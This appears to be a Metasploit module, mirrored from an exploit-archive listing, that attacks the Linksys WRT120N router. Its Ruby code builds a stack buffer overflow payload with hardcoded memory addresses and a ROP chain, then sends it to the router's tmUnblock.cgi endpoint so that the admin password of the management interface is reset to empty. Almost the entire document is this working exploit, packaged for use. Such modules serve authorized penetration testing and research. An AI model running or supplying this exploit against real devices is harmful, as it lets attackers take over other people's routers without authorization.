Share
## https://sploitus.com/exploit?id=PACKETSTORM:180837
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router  
to reset the password of the management interface temporarily to an empty value.  
This module has been tested successfully on a WRT120N device with firmware version  
1.0.07.  
},  
'Author' => [  
'Craig Heffner', # vulnerability discovery and original exploit  
'Michael Messner <devnull[at]s3cur1ty.de>' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'EDB', '31758' ],  
[ 'OSVDB', '103521' ],  
[ 'URL', 'https://web.archive.org/web/20210424073058/http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about this vulnerability and the original exploit  
],  
'DisclosureDate' => '2014-02-19'  
)  
)  
end  
  
def check_login(user)  
print_status("Trying to login with #{user} and empty password")  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET',  
'authorization' => basic_auth(user, '')  
})  
if res.nil? || res.code == 404  
print_status("No login possible with #{user} and empty password")  
return false  
elsif [200, 301, 302].include?(res.code)  
print_good("Successful login #{user} and empty password")  
return true  
else  
print_status("No login possible with #{user} and empty password")  
return false  
end  
end  
  
def run  
begin  
if check_login('admin')  
print_good('login with user admin and no password possible. There is no need to use this module.')  
return  
end  
rescue ::Rex::ConnectionError  
print_error('Failed to connect to the web server')  
return  
end  
  
print_status('Resetting password for the admin user ...')  
  
postdata = Rex::Text.rand_text_alpha(246) # Filler  
postdata << [0x81544AF0].pack('N') # $s0, address of admin password in memory  
postdata << [0x8031f634].pack('N') # $ra  
postdata << Rex::Text.rand_text_alpha(40) # Stack filler  
postdata << Rex::Text.rand_text_alpha(4) # Stack filler  
postdata << [0x803471b8].pack('N') # ROP 1 $ra (address of ROP 2)  
postdata << Rex::Text.rand_text_alpha(8) # Stack filler  
  
4.times do |i|  
postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s0, don't care  
postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s1, don't care  
postdata << [0x803471b8].pack('N') # ROP 2 $ra (address of itself)  
postdata << Rex::Text.rand_text_alpha(4 - (3 * (i / 3))) # Stack filler  
end  
  
begin  
res = send_request_cgi(  
{  
'uri' => normalize_uri('cgi-bin', 'tmUnblock.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'period' => '0',  
'TM_Block_MAC' => '00:01:02:03:04:05',  
'TM_Block_URL' => postdata  
}  
}  
)  
if res && (res.code == 500)  
if check_login('admin')  
print_good('Expected answer and the login was successful. Try to login with the user admin and a blank password')  
else  
print_status('Expected answer, but unknown exploit status. Try to login with the user admin and a blank password')  
end  
else  
print_error('Unexpected answer. Exploit attempt has failed')  
end  
rescue ::Rex::ConnectionError  
print_error('Failed to connect to the web server')  
return  
end  
end  
end